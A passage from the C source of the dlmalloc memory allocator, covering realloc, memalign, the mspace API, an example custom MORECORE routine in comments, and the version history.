}
else
dispose_chunk(m, p, psize);
}
else {
CORRUPTION_ERROR_ACTION(m);
break;
}
}
}
if (should_trim(m, m->topsize))
sys_trim(m, 0);
POSTACTION(m);
}
return unfreed;
}
/* Traversal */
#if MALLOC_INSPECT_ALL
static void internal_inspect_all(mstate m,
void(*handler)(void *start,
void *end,
size_t used_bytes,
void* callback_arg),
void* arg) {
if (is_initialized(m)) {
mchunkptr top = m->top;
msegmentptr s;
for (s = &m->seg; s != 0; s = s->next) {
mchunkptr q = align_as_chunk(s->base);
while (segment_holds(s, q) && q->head != FENCEPOST_HEAD) {
mchunkptr next = next_chunk(q);
size_t sz = chunksize(q);
size_t used;
void* start;
if (is_inuse(q)) {
used = sz - CHUNK_OVERHEAD; /* must not be mmapped */
start = chunk2mem(q);
}
else {
used = 0;
if (is_small(sz)) { /* offset by possible bookkeeping */
start = (void*)((char*)q + sizeof(struct malloc_chunk));
}
else {
start = (void*)((char*)q + sizeof(struct malloc_tree_chunk));
}
}
if (start < (void*)next) /* skip if all space is bookkeeping */
handler(start, next, used, arg);
if (q == top)
break;
q = next;
}
}
}
}
#endif /* MALLOC_INSPECT_ALL */
/* ------------------ Exported realloc, memalign, etc -------------------- */
#if !ONLY_MSPACES
void* dlrealloc(void* oldmem, size_t bytes) {
void* mem = 0;
if (oldmem == 0) {
mem = dlmalloc(bytes);
}
else if (bytes >= MAX_REQUEST) {
MALLOC_FAILURE_ACTION;
}
#ifdef REALLOC_ZERO_BYTES_FREES
else if (bytes == 0) {
dlfree(oldmem);
}
#endif /* REALLOC_ZERO_BYTES_FREES */
else {
size_t nb = request2size(bytes);
mchunkptr oldp = mem2chunk(oldmem);
#if ! FOOTERS
mstate m = gm;
#else /* FOOTERS */
mstate m = get_mstate_for(oldp);
if (!ok_magic(m)) {
USAGE_ERROR_ACTION(m, oldmem);
return 0;
}
#endif /* FOOTERS */
if (!PREACTION(m)) {
mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1);
POSTACTION(m);
if (newp != 0) {
check_inuse_chunk(m, newp);
mem = chunk2mem(newp);
}
else {
mem = internal_malloc(m, bytes);
if (mem != 0) {
size_t oc = chunksize(oldp) - overhead_for(oldp);
memcpy(mem, oldmem, (oc < bytes)? oc : bytes);
internal_free(m, oldmem);
}
}
}
}
return mem;
}
void* dlrealloc_in_place(void* oldmem, size_t bytes) {
void* mem = 0;
if (oldmem != 0) {
if (bytes >= MAX_REQUEST) {
MALLOC_FAILURE_ACTION;
}
else {
size_t nb = request2size(bytes);
mchunkptr oldp = mem2chunk(oldmem);
#if ! FOOTERS
mstate m = gm;
#else /* FOOTERS */
mstate m = get_mstate_for(oldp);
if (!ok_magic(m)) {
USAGE_ERROR_ACTION(m, oldmem);
return 0;
}
#endif /* FOOTERS */
if (!PREACTION(m)) {
mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0);
POSTACTION(m);
if (newp == oldp) {
check_inuse_chunk(m, newp);
mem = oldmem;
}
}
}
}
return mem;
}
void* dlmemalign(size_t alignment, size_t bytes) {
if (alignment <= MALLOC_ALIGNMENT) {
return dlmalloc(bytes);
}
return internal_memalign(gm, alignment, bytes);
}
int dlposix_memalign(void** pp, size_t alignment, size_t bytes) {
void* mem = 0;
if (alignment == MALLOC_ALIGNMENT)
mem = dlmalloc(bytes);
else {
size_t d = alignment / sizeof(void*);
size_t r = alignment % sizeof(void*);
if (r != 0 || d == 0 || (d & (d-SIZE_T_ONE)) != 0)
return EINVAL;
else if (bytes <= MAX_REQUEST - alignment) {
if (alignment < MIN_CHUNK_SIZE)
alignment = MIN_CHUNK_SIZE;
mem = internal_memalign(gm, alignment, bytes);
}
}
if (mem == 0)
return ENOMEM;
else {
*pp = mem;
return 0;
}
}
void* dlvalloc(size_t bytes) {
size_t pagesz;
ensure_initialization();
pagesz = mparams.page_size;
return dlmemalign(pagesz, bytes);
}
void* dlpvalloc(size_t bytes) {
size_t pagesz;
ensure_initialization();
pagesz = mparams.page_size;
return dlmemalign(pagesz, (bytes + pagesz - SIZE_T_ONE) & ~(pagesz - SIZE_T_ONE));
}
void** dlindependent_calloc(size_t n_elements, size_t elem_size,
void* chunks[]) {
size_t sz = elem_size; /* serves as 1-element array */
return ialloc(gm, n_elements, &sz, 3, chunks);
}
void** dlindependent_comalloc(size_t n_elements, size_t sizes[],
void* chunks[]) {
return ialloc(gm, n_elements, sizes, 0, chunks);
}
size_t dlbulk_free(void* array[], size_t nelem) {
return internal_bulk_free(gm, array, nelem);
}
#if MALLOC_INSPECT_ALL
void dlmalloc_inspect_all(void(*handler)(void *start,
void *end,
size_t used_bytes,
void* callback_arg),
void* arg) {
ensure_initialization();
if (!PREACTION(gm)) {
internal_inspect_all(gm, handler, arg);
POSTACTION(gm);
}
}
#endif /* MALLOC_INSPECT_ALL */
int dlmalloc_trim(size_t pad) {
int result = 0;
ensure_initialization();
if (!PREACTION(gm)) {
result = sys_trim(gm, pad);
POSTACTION(gm);
}
return result;
}
size_t dlmalloc_footprint(void) {
return gm->footprint;
}
size_t dlmalloc_max_footprint(void) {
return gm->max_footprint;
}
size_t dlmalloc_footprint_limit(void) {
size_t maf = gm->footprint_limit;
return maf == 0 ? MAX_SIZE_T : maf;
}
size_t dlmalloc_set_footprint_limit(size_t bytes) {
size_t result; /* invert sense of 0 */
if (bytes == 0)
result = granularity_align(1); /* Use minimal size */
if (bytes == MAX_SIZE_T)
result = 0; /* disable */
else
result = granularity_align(bytes);
return gm->footprint_limit = result;
}
#if !NO_MALLINFO
struct mallinfo dlmallinfo(void) {
return internal_mallinfo(gm);
}
#endif /* NO_MALLINFO */
#if !NO_MALLOC_STATS
void dlmalloc_stats() {
internal_malloc_stats(gm);
}
#endif /* NO_MALLOC_STATS */
int dlmallopt(int param_number, int value) {
return change_mparam(param_number, value);
}
size_t dlmalloc_usable_size(void* mem) {
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
if (is_inuse(p))
return chunksize(p) - overhead_for(p);
}
return 0;
}
#endif /* !ONLY_MSPACES */
/* ----------------------------- user mspaces ---------------------------- */
#if MSPACES
static mstate init_user_mstate(char* tbase, size_t tsize) {
size_t msize = pad_request(sizeof(struct malloc_state));
mchunkptr mn;
mchunkptr msp = align_as_chunk(tbase);
mstate m = (mstate)(chunk2mem(msp));
memset(m, 0, msize);
(void)INITIAL_LOCK(&m->mutex);
msp->head = (msize|INUSE_BITS);
m->seg.base = m->least_addr = tbase;
m->seg.size = m->footprint = m->max_footprint = tsize;
m->magic = mparams.magic;
m->release_checks = MAX_RELEASE_CHECK_RATE;
m->mflags = mparams.default_mflags;
m->extp = 0;
m->exts = 0;
disable_contiguous(m);
init_bins(m);
mn = next_chunk(mem2chunk(m));
init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) - TOP_FOOT_SIZE);
check_top_chunk(m, m->top);
return m;
}
mspace create_mspace(size_t capacity, int locked) {
mstate m = 0;
size_t msize;
ensure_initialization();
msize = pad_request(sizeof(struct malloc_state));
if (capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) {
size_t rs = ((capacity == 0)? mparams.granularity :
(capacity + TOP_FOOT_SIZE + msize));
size_t tsize = granularity_align(rs);
char* tbase = (char*)(CALL_MMAP(tsize));
if (tbase != CMFAIL) {
m = init_user_mstate(tbase, tsize);
m->seg.sflags = USE_MMAP_BIT;
set_lock(m, locked);
}
}
return (mspace)m;
}
mspace create_mspace_with_base(void* base, size_t capacity, int locked) {
mstate m = 0;
size_t msize;
ensure_initialization();
msize = pad_request(sizeof(struct malloc_state));
if (capacity > msize + TOP_FOOT_SIZE &&
capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) {
m = init_user_mstate((char*)base, capacity);
m->seg.sflags = EXTERN_BIT;
set_lock(m, locked);
}
return (mspace)m;
}
int mspace_track_large_chunks(mspace msp, int enable) {
int ret = 0;
mstate ms = (mstate)msp;
if (!PREACTION(ms)) {
if (!use_mmap(ms)) {
ret = 1;
}
if (!enable) {
enable_mmap(ms);
} else {
disable_mmap(ms);
}
POSTACTION(ms);
}
return ret;
}
size_t destroy_mspace(mspace msp) {
size_t freed = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
msegmentptr sp = &ms->seg;
(void)DESTROY_LOCK(&ms->mutex); /* destroy before unmapped */
while (sp != 0) {
char* base = sp->base;
size_t size = sp->size;
flag_t flag = sp->sflags;
(void)base; /* placate people compiling -Wunused-variable */
sp = sp->next;
if ((flag & USE_MMAP_BIT) && !(flag & EXTERN_BIT) &&
CALL_MUNMAP(base, size) == 0)
freed += size;
}
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return freed;
}
/*
mspace versions of routines are near-clones of the global
versions. This is not so nice but better than the alternatives.
*/
void* mspace_malloc(mspace msp, size_t bytes) {
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
return 0;
}
if (!PREACTION(ms)) {
void* mem;
size_t nb;
if (bytes <= MAX_SMALL_REQUEST) {
bindex_t idx;
binmap_t smallbits;
nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes);
idx = small_index(nb);
smallbits = ms->smallmap >> idx;
if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */
mchunkptr b, p;
idx += ~smallbits & 1; /* Uses next bin if idx empty */
b = smallbin_at(ms, idx);
p = b->fd;
assert(chunksize(p) == small_index2size(idx));
unlink_first_small_chunk(ms, b, p, idx);
set_inuse_and_pinuse(ms, p, small_index2size(idx));
mem = chunk2mem(p);
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
else if (nb > ms->dvsize) {
if (smallbits != 0) { /* Use chunk in next nonempty smallbin */
mchunkptr b, p, r;
size_t rsize;
bindex_t i;
binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx));
binmap_t leastbit = least_bit(leftbits);
compute_bit2idx(leastbit, i);
b = smallbin_at(ms, i);
p = b->fd;
assert(chunksize(p) == small_index2size(i));
unlink_first_small_chunk(ms, b, p, i);
rsize = small_index2size(i) - nb;
/* Fit here cannot be remainderless if 4byte sizes */
if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE)
set_inuse_and_pinuse(ms, p, small_index2size(i));
else {
set_size_and_pinuse_of_inuse_chunk(ms, p, nb);
r = chunk_plus_offset(p, nb);
set_size_and_pinuse_of_free_chunk(r, rsize);
replace_dv(ms, r, rsize);
}
mem = chunk2mem(p);
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
else if (ms->treemap != 0 && (mem = tmalloc_small(ms, nb)) != 0) {
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
}
}
else if (bytes >= MAX_REQUEST)
nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */
else {
nb = pad_request(bytes);
if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) {
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
}
if (nb <= ms->dvsize) {
size_t rsize = ms->dvsize - nb;
mchunkptr p = ms->dv;
if (rsize >= MIN_CHUNK_SIZE) { /* split dv */
mchunkptr r = ms->dv = chunk_plus_offset(p, nb);
ms->dvsize = rsize;
set_size_and_pinuse_of_free_chunk(r, rsize);
set_size_and_pinuse_of_inuse_chunk(ms, p, nb);
}
else { /* exhaust dv */
size_t dvs = ms->dvsize;
ms->dvsize = 0;
ms->dv = 0;
set_inuse_and_pinuse(ms, p, dvs);
}
mem = chunk2mem(p);
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
else if (nb < ms->topsize) { /* Split top */
size_t rsize = ms->topsize -= nb;
mchunkptr p = ms->top;
mchunkptr r = ms->top = chunk_plus_offset(p, nb);
r->head = rsize | PINUSE_BIT;
set_size_and_pinuse_of_inuse_chunk(ms, p, nb);
mem = chunk2mem(p);
check_top_chunk(ms, ms->top);
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
mem = sys_alloc(ms, nb);
postaction:
POSTACTION(ms);
return mem;
}
return 0;
}
void mspace_free(mspace msp, void* mem) {
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
#if FOOTERS
mstate fm = get_mstate_for(p);
(void)msp; /* placate people compiling -Wunused */
#else /* FOOTERS */
mstate fm = (mstate)msp;
#endif /* FOOTERS */
if (!ok_magic(fm)) {
USAGE_ERROR_ACTION(fm, p);
return;
}
if (!PREACTION(fm)) {
check_inuse_chunk(fm, p);
if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) {
size_t psize = chunksize(p);
mchunkptr next = chunk_plus_offset(p, psize);
if (!pinuse(p)) {
size_t prevsize = p->prev_foot;
if (is_mmapped(p)) {
psize += prevsize + MMAP_FOOT_PAD;
if (CALL_MUNMAP((char*)p - prevsize, psize) == 0)
fm->footprint -= psize;
goto postaction;
}
else {
mchunkptr prev = chunk_minus_offset(p, prevsize);
psize += prevsize;
p = prev;
if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */
if (p != fm->dv) {
unlink_chunk(fm, p, prevsize);
}
else if ((next->head & INUSE_BITS) == INUSE_BITS) {
fm->dvsize = psize;
set_free_with_pinuse(p, psize, next);
goto postaction;
}
}
else
goto erroraction;
}
}
if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) {
if (!cinuse(next)) { /* consolidate forward */
if (next == fm->top) {
size_t tsize = fm->topsize += psize;
fm->top = p;
p->head = tsize | PINUSE_BIT;
if (p == fm->dv) {
fm->dv = 0;
fm->dvsize = 0;
}
if (should_trim(fm, tsize))
sys_trim(fm, 0);
goto postaction;
}
else if (next == fm->dv) {
size_t dsize = fm->dvsize += psize;
fm->dv = p;
set_size_and_pinuse_of_free_chunk(p, dsize);
goto postaction;
}
else {
size_t nsize = chunksize(next);
psize += nsize;
unlink_chunk(fm, next, nsize);
set_size_and_pinuse_of_free_chunk(p, psize);
if (p == fm->dv) {
fm->dvsize = psize;
goto postaction;
}
}
}
else
set_free_with_pinuse(p, psize, next);
if (is_small(psize)) {
insert_small_chunk(fm, p, psize);
check_free_chunk(fm, p);
}
else {
tchunkptr tp = (tchunkptr)p;
insert_large_chunk(fm, tp, psize);
check_free_chunk(fm, p);
if (--fm->release_checks == 0)
release_unused_segments(fm);
}
goto postaction;
}
}
erroraction:
USAGE_ERROR_ACTION(fm, p);
postaction:
POSTACTION(fm);
}
}
}
void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size) {
void* mem;
size_t req = 0;
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
return 0;
}
if (n_elements != 0) {
req = n_elements * elem_size;
if (((n_elements | elem_size) & ~(size_t)0xffff) &&
(req / n_elements != elem_size))
req = MAX_SIZE_T; /* force downstream failure on overflow */
}
mem = internal_malloc(ms, req);
if (mem != 0 && calloc_must_clear(mem2chunk(mem)))
memset(mem, 0, req);
return mem;
}
void* mspace_realloc(mspace msp, void* oldmem, size_t bytes) {
void* mem = 0;
if (oldmem == 0) {
mem = mspace_malloc(msp, bytes);
}
else if (bytes >= MAX_REQUEST) {
MALLOC_FAILURE_ACTION;
}
#ifdef REALLOC_ZERO_BYTES_FREES
else if (bytes == 0) {
mspace_free(msp, oldmem);
}
#endif /* REALLOC_ZERO_BYTES_FREES */
else {
size_t nb = request2size(bytes);
mchunkptr oldp = mem2chunk(oldmem);
#if ! FOOTERS
mstate m = (mstate)msp;
#else /* FOOTERS */
mstate m = get_mstate_for(oldp);
if (!ok_magic(m)) {
USAGE_ERROR_ACTION(m, oldmem);
return 0;
}
#endif /* FOOTERS */
if (!PREACTION(m)) {
mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1);
POSTACTION(m);
if (newp != 0) {
check_inuse_chunk(m, newp);
mem = chunk2mem(newp);
}
else {
mem = mspace_malloc(m, bytes);
if (mem != 0) {
size_t oc = chunksize(oldp) - overhead_for(oldp);
memcpy(mem, oldmem, (oc < bytes)? oc : bytes);
mspace_free(m, oldmem);
}
}
}
}
return mem;
}
void* mspace_realloc_in_place(mspace msp, void* oldmem, size_t bytes) {
void* mem = 0;
if (oldmem != 0) {
if (bytes >= MAX_REQUEST) {
MALLOC_FAILURE_ACTION;
}
else {
size_t nb = request2size(bytes);
mchunkptr oldp = mem2chunk(oldmem);
#if ! FOOTERS
mstate m = (mstate)msp;
#else /* FOOTERS */
mstate m = get_mstate_for(oldp);
(void)msp; /* placate people compiling -Wunused */
if (!ok_magic(m)) {
USAGE_ERROR_ACTION(m, oldmem);
return 0;
}
#endif /* FOOTERS */
if (!PREACTION(m)) {
mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0);
POSTACTION(m);
if (newp == oldp) {
check_inuse_chunk(m, newp);
mem = oldmem;
}
}
}
}
return mem;
}
void* mspace_memalign(mspace msp, size_t alignment, size_t bytes) {
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
return 0;
}
if (alignment <= MALLOC_ALIGNMENT)
return mspace_malloc(msp, bytes);
return internal_memalign(ms, alignment, bytes);
}
void** mspace_independent_calloc(mspace msp, size_t n_elements,
size_t elem_size, void* chunks[]) {
size_t sz = elem_size; /* serves as 1-element array */
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
return 0;
}
return ialloc(ms, n_elements, &sz, 3, chunks);
}
void** mspace_independent_comalloc(mspace msp, size_t n_elements,
size_t sizes[], void* chunks[]) {
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
return 0;
}
return ialloc(ms, n_elements, sizes, 0, chunks);
}
size_t mspace_bulk_free(mspace msp, void* array[], size_t nelem) {
return internal_bulk_free((mstate)msp, array, nelem);
}
#if MALLOC_INSPECT_ALL
void mspace_inspect_all(mspace msp,
void(*handler)(void *start,
void *end,
size_t used_bytes,
void* callback_arg),
void* arg) {
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
if (!PREACTION(ms)) {
internal_inspect_all(ms, handler, arg);
POSTACTION(ms);
}
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
}
#endif /* MALLOC_INSPECT_ALL */
int mspace_trim(mspace msp, size_t pad) {
int result = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
if (!PREACTION(ms)) {
result = sys_trim(ms, pad);
POSTACTION(ms);
}
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return result;
}
#if !NO_MALLOC_STATS
void mspace_malloc_stats(mspace msp) {
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
internal_malloc_stats(ms);
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
}
#endif /* NO_MALLOC_STATS */
size_t mspace_footprint(mspace msp) {
size_t result = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
result = ms->footprint;
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return result;
}
size_t mspace_max_footprint(mspace msp) {
size_t result = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
result = ms->max_footprint;
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return result;
}
size_t mspace_footprint_limit(mspace msp) {
size_t result = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
size_t maf = ms->footprint_limit;
result = (maf == 0) ? MAX_SIZE_T : maf;
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return result;
}
size_t mspace_set_footprint_limit(mspace msp, size_t bytes) {
size_t result = 0;
mstate ms = (mstate)msp;
if (ok_magic(ms)) {
if (bytes == 0)
result = granularity_align(1); /* Use minimal size */
if (bytes == MAX_SIZE_T)
result = 0; /* disable */
else
result = granularity_align(bytes);
ms->footprint_limit = result;
}
else {
USAGE_ERROR_ACTION(ms,ms);
}
return result;
}
#if !NO_MALLINFO
struct mallinfo mspace_mallinfo(mspace msp) {
mstate ms = (mstate)msp;
if (!ok_magic(ms)) {
USAGE_ERROR_ACTION(ms,ms);
}
return internal_mallinfo(ms);
}
#endif /* NO_MALLINFO */
size_t mspace_usable_size(const void* mem) {
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
if (is_inuse(p))
return chunksize(p) - overhead_for(p);
}
return 0;
}
int mspace_mallopt(int param_number, int value) {
return change_mparam(param_number, value);
}
#endif /* MSPACES */
/* -------------------- Alternative MORECORE functions ------------------- */
/*
Guidelines for creating a custom version of MORECORE:
* For best performance, MORECORE should allocate in multiples of pagesize.
* MORECORE may allocate more memory than requested. (Or even less,
but this will usually result in a malloc failure.)
* MORECORE must not allocate memory when given argument zero, but
instead return one past the end address of memory from previous
nonzero call.
* For best performance, consecutive calls to MORECORE with positive
arguments should return increasing addresses, indicating that
space has been contiguously extended.
* Even though consecutive calls to MORECORE need not return contiguous
addresses, it must be OK for malloc'ed chunks to span multiple
regions in those cases where they do happen to be contiguous.
* MORECORE need not handle negative arguments -- it may instead
just return MFAIL when given negative arguments.
Negative arguments are always multiples of pagesize. MORECORE
must not misinterpret negative args as large positive unsigned
args. You can suppress all such calls from even occurring by defining
MORECORE_CANNOT_TRIM,
As an example alternative MORECORE, here is a custom allocator
kindly contributed for pre-OSX macOS. It uses virtually but not
necessarily physically contiguous non-paged memory (locked in,
present and won't get swapped out). You can use it by uncommenting
this section, adding some #includes, and setting up the appropriate
defines above:
#define MORECORE osMoreCore
There is also a shutdown routine that should somehow be called for
cleanup upon program exit.
#define MAX_POOL_ENTRIES 100
#define MINIMUM_MORECORE_SIZE (64 * 1024U)
static int next_os_pool;
void *our_os_pools[MAX_POOL_ENTRIES];
void *osMoreCore(int size)
{
void *ptr = 0;
static void *sbrk_top = 0;
if (size > 0)
{
if (size < MINIMUM_MORECORE_SIZE)
size = MINIMUM_MORECORE_SIZE;
if (CurrentExecutionLevel() == kTaskLevel)
ptr = PoolAllocateResident(size + RM_PAGE_SIZE, 0);
if (ptr == 0)
{
return (void *) MFAIL;
}
// save ptrs so they can be freed during cleanup
our_os_pools[next_os_pool] = ptr;
next_os_pool++;
ptr = (void *) ((((size_t) ptr) + RM_PAGE_MASK) & ~RM_PAGE_MASK);
sbrk_top = (char *) ptr + size;
return ptr;
}
else if (size < 0)
{
// we don't currently support shrink behavior
return (void *) MFAIL;
}
else
{
return sbrk_top;
}
}
// cleanup any allocated memory pools
// called as last thing before shutting down driver
void osCleanupMem(void)
{
void **ptr;
for (ptr = our_os_pools; ptr < &our_os_pools[MAX_POOL_ENTRIES]; ptr++)
if (*ptr)
{
PoolDeallocate(*ptr);
*ptr = 0;
}
}
*/
/* -----------------------------------------------------------------------
History:
v2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea
* fix bad comparison in dlposix_memalign
* don't reuse adjusted asize in sys_alloc
* add LOCK_AT_FORK -- thanks to Kirill Artamonov for the suggestion
* reduce compiler warnings -- thanks to all who reported/suggested these
v2.8.5 Sun May 22 10:26:02 2011 Doug Lea (dl at gee)
* Always perform unlink checks unless INSECURE
* Add posix_memalign.
* Improve realloc to expand in more cases; expose realloc_in_place.
Thanks to Peter Buhr for the suggestion.
* Add footprint_limit, inspect_all, bulk_free. Thanks
to Barry Hayes and others for the suggestions.
* Internal refactorings to avoid calls while holding locks
* Use non-reentrant locks by default. Thanks to Roland McGrath
for the suggestion.
* Small fixes to mspace_destroy, reset_on_error.
* Various configuration extensions/changes. Thanks
to all who contributed these.
V2.8.4a Thu Apr 28 14:39:43 2011 (dl at gee.cs.oswego.edu)
* Update Creative Commons URL
V2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee)
* Use zeros instead of prev foot for is_mmapped
* Add mspace_track_large_chunks; thanks to Jean Brouwers
* Fix set_inuse in internal_realloc; thanks to Jean Brouwers
* Fix insufficient sys_alloc padding when using 16byte alignment
* Fix bad error check in mspace_footprint
* Adaptations for ptmalloc; thanks to Wolfram Gloger.
* Reentrant spin locks; thanks to Earl Chew and others
* Win32 improvements; thanks to Niall Douglas and Earl Chew
* Add NO_SEGMENT_TRAVERSAL and MAX_RELEASE_CHECK_RATE options
* Extension hook in malloc_state
* Various small adjustments to reduce warnings on some compilers
* Various configuration extensions/changes for more platforms. Thanks
to all who contributed these.
V2.8.3 Thu Sep 22 11:16:32 2005 Doug Lea (dl at gee)
* Add max_footprint functions
* Ensure all appropriate literals are size_t
* Fix conditional compilation problem for some #define settings
* Avoid concatenating segments with the one provided
in create_mspace_with_base
* Rename some variables to avoid compiler shadowing warnings
* Use explicit lock initialization.
* Better handling of sbrk interference.
* Simplify and fix segment insertion, trimming and mspace_destroy
* Reinstate REALLOC_ZERO_BYTES_FREES option from 2.7.x
* Thanks especially to Dennis Flanagan for help on these.
V2.8.2 Sun Jun 12 16:01:10 2005 Doug Lea (dl at gee)
* Fix memalign brace error.
V2.8.1 Wed Jun 8 16:11:46 2005 Doug Lea (dl at gee)
* Fix improper #endif nesting in C++
* Add explicit casts needed for C++
V2.8.0 Mon May 30 14:09:02 2005 Doug Lea (dl at gee)
* Use trees for large bins
* Support mspaces
* Use segments to unify sbrk-based and mmap-based system allocation,
removing need for emulation on most platforms without sbrk.
* Default safety checks
* Optional footer checks. Thanks to William Robertson for the idea.
* Internal code refactoring
* Incorporate suggestions and platform-specific changes.
Thanks to Dennis Flanagan, Colin Plumb, Niall Douglas,
Aaron Bachmann, Emery Berger, and others.
* Speed up non-fastbin processing enough to remove fastbins.
* Remove useless cfree() to avoid conflicts with other apps.
* Remove internal memcpy, memset. Compilers handle builtins better.
* Remove some options that no one ever used and rename others.
V2.7.2 Sat Aug 17 09:07:30 2002 Doug Lea (dl at gee)
* Fix malloc_state bitmap array misdeclaration
V2.7.1 Thu Jul 25 10:58:03 2002 Doug Lea (dl at gee)
* Allow tuning of FIRST_SORTED_BIN_SIZE
* Use PTR_UINT as type for all ptr->int casts. Thanks to John Belmonte.
* Better detection and support for non-contiguousness of MORECORE.
Thanks to Andreas Mueller, Conal Walsh, and Wolfram Gloger
* Bypass most of malloc if no frees. Thanks To Emery Berger.
* Fix freeing of old top non-contiguous chunk im sysmalloc.
* Raised default trim and map thresholds to 256K.
* Fix mmap-related #defines. Thanks to Lubos Lunak.
* Fix copy macros; added LACKS_FCNTL_H. Thanks to Neal Walfield.
* Branch-free bin calculation
* Default trim and mmap thresholds now 256K.
V2.7.0 Sun Mar 11 14:14:06 2001 Doug Lea (dl at gee)
* Introduce independent_comalloc and independent_calloc.
Thanks to Michael Pachos for motivation and help.
* Make optional .h file available
* Allow > 2GB requests on 32bit systems.
* new WIN32 sbrk, mmap, munmap, lock code from <[email protected]>.
Thanks also to Andreas Mueller <a.mueller at paradatec.de>,
and Anonymous.
* Allow override of MALLOC_ALIGNMENT (Thanks to Ruud Waij for
helping test this.)
* memalign: check alignment arg
* realloc: don't try to shift chunks backwards, since this
leads to more fragmentation in some programs and doesn't
seem to help in any others.
* Collect all cases in malloc requiring system memory into sysmalloc
* Use mmap as backup to sbrk
* Place all internal state in malloc_state
* Introduce fastbins (although similar to 2.5.1)
* Many minor tunings and cosmetic improvements
* Introduce USE_PUBLIC_MALLOC_WRAPPERS, USE_MALLOC_LOCK
* Introduce MALLOC_FAILURE_ACTION, MORECORE_CONTIGUOUS
Thanks to Tony E. Bennett <[email protected]> and others.
* Include errno.h to support default failure action.
V2.6.6 Sun Dec 5 07:42:19 1999 Doug Lea (dl at gee)
* return null for negative arguments
* Added Several WIN32 cleanups from Martin C. Fong <mcfong at yahoo.com>
* Add 'LACKS_SYS_PARAM_H' for those systems without 'sys/param.h'
(e.g. WIN32 platforms)
* Cleanup header file inclusion for WIN32 platforms
* Cleanup code to avoid Microsoft Visual C++ compiler complaints
* Add 'USE_DL_PREFIX' to quickly allow co-existence with existing
memory allocation routines
* Set 'malloc_getpagesize' for WIN32 platforms (needs more work)
* Use 'assert' rather than 'ASSERT' in WIN32 code to conform to
usage of 'assert' in non-WIN32 code
* Improve WIN32 'sbrk()' emulation's 'findRegion()' routine to
avoid infinite loop
* Always call 'fREe()' rather than 'free()'
V2.6.5 Wed Jun 17 15:57:31 1998 Doug Lea (dl at gee)
* Fixed ordering problem with boundary-stamping
V2.6.3 Sun May 19 08:17:58 1996 Doug Lea (dl at gee)
* Added pvalloc, as recommended by H.J. Liu
* Added 64bit pointer support mainly from Wolfram Gloger
* Added anonymously donated WIN32 sbrk emulation
* Malloc, calloc, getpagesize: add optimizations from Raymond Nijssen
* malloc_extend_top: fix mask error that caused wastage after
foreign sbrks
* Add linux mremap support code from HJ Liu
V2.6.2 Tue Dec 5 06:52:55 1995 Doug Lea (dl at gee)
* Integrated most documentation with the code.
* Add support for mmap, with help from
Wolfram Gloger ([email protected]).
* Use last_remainder in more cases.
* Pack bins using idea from [email protected]
* Use ordered bins instead of best-fit threshhold
* Eliminate block-local decls to simplify tracing and debugging.
* Support another case of realloc via move into top
* Fix error occuring when initial sbrk_base not word-aligned.
* Rely on page size for units instead of SBRK_UNIT to
avoid surprises about sbrk alignment conventions.
* Add mallinfo, mallopt. Thanks to Raymond Nijssen
([email protected]) for the suggestion.
* Add `pad' argument to malloc_trim and top_pad mallopt parameter.
* More precautions for cases where other routines call sbrk,
courtesy of Wolfram Gloger ([email protected]).
* Added macros etc., allowing use in linux libc from
H.J. Lu ([email protected])
* Inverted this history list
V2.6.1 Sat Dec 2 14:10:57 1995 Doug Lea (dl at gee)
* Re-tuned and fixed to behave more nicely with V2.6.0 changes.
* Removed all preallocation code since under current scheme
the work required to undo bad preallocations exceeds
the work saved in good cases for most test programs.
* No longer use return list or unconsolidated bins since
no scheme using them consistently outperforms those that don't
given above changes.
* Use best fit for very large chunks to prevent some worst-cases.
* Added some support for debugging
V2.6.0 Sat Nov 4 07:05:23 1995 Doug Lea (dl at gee)
* Removed footers when chunks are in use. Thanks to
Paul Wilson ([email protected]) for the suggestion.
